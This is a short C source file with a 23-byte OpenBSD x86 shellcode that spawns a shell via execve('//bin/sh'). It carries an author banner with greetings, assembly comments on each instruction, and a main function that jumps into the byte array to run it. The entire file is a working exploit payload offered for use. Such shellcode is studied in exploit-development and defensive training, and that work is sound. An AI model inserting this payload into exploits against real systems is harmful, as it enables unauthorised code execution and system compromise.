/************************************************************
* OpenBSD 23 byte execve code. Greetz to preedator          *
*                                          marcetam         *
*                                      admin@marcetam.net   *
*************************************************************/
char open_bsd[]=
  "\x99"                        /* cdq              */
  "\x52"                        /* push %edx        */
  "\x68\x6e\x2f\x73\x68"        /* push $0x68732f6e */
  "\x68\x2f\x2f\x62\x69"        /* push $0x69622f2f */
  "\x89\xe3"                    /* mov %esp,%ebx    */
  "\x52"                        /* push %edx        */
  "\x54"                        /* push %esp        */
  "\x53"                        /* push %ebx        */
  "\x53"                        /* push %ebx        */
  "\x6a\x3b"                    /* push $0x3b       */
  "\x58"                        /* pop %eax         */
  "\xcd\x80";                   /* int $0x80        */

int main(){
  void (*run)()=(void *)open_bsd;
  printf("%d bytes\n",strlen(open_bsd));
  run();
}